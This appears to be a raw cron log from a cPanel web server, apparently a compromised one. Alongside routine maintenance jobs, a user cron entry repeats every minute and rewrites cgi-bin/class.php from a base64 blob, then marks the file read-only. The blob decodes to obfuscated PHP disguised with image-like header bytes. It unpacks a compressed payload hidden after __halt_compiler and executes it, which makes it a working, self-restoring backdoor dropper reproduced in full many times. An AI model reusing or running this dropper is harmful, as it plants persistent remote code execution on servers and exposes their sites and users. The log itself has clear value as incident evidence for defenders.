Sep  6 15:35:01 server CROND[15907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:35:01 server CROND[15906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:35:01 server CROND[15909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:35:01 server CROND[15912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:35:01 server CROND[15910]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:36:01 server CROND[16737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:36:01 server CROND[16736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:36:01 server CROND[16738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:37:01 server CROND[17202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:37:01 server CROND[17203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:37:01 server CROND[17204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:38:01 server CROND[17573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:38:01 server CROND[17574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:38:01 server CROND[17575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:39:01 server CROND[17943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:39:01 server CROND[17944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:39:01 server CROND[17945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:39:01 server CROND[17946]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 15:40:01 server CROND[18333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:40:01 server CROND[18335]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:40:01 server CROND[18337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:40:01 server CROND[18339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:40:01 server CROND[18340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:40:01 server CROND[18342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:40:01 server CROND[18338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:40:01 server CROND[18336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:41:02 server CROND[19190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:41:02 server CROND[19191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:41:02 server CROND[19192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:42:01 server CROND[19560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:42:01 server CROND[19562]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 15:42:01 server CROND[19561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:42:01 server CROND[19563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:43:01 server CROND[20023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:43:01 server CROND[20022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:43:01 server CROND[20024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:44:01 server CROND[20396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:44:01 server CROND[20395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:44:01 server CROND[20397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:45:01 server CROND[20781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:45:01 server CROND[20783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:45:01 server CROND[20786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:45:01 server CROND[20784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:45:01 server CROND[20785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:45:01 server CROND[20788]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:45:01 server CROND[20789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:46:01 server CROND[21602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:46:01 server CROND[21603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:46:01 server CROND[21604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:47:01 server CROND[21966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
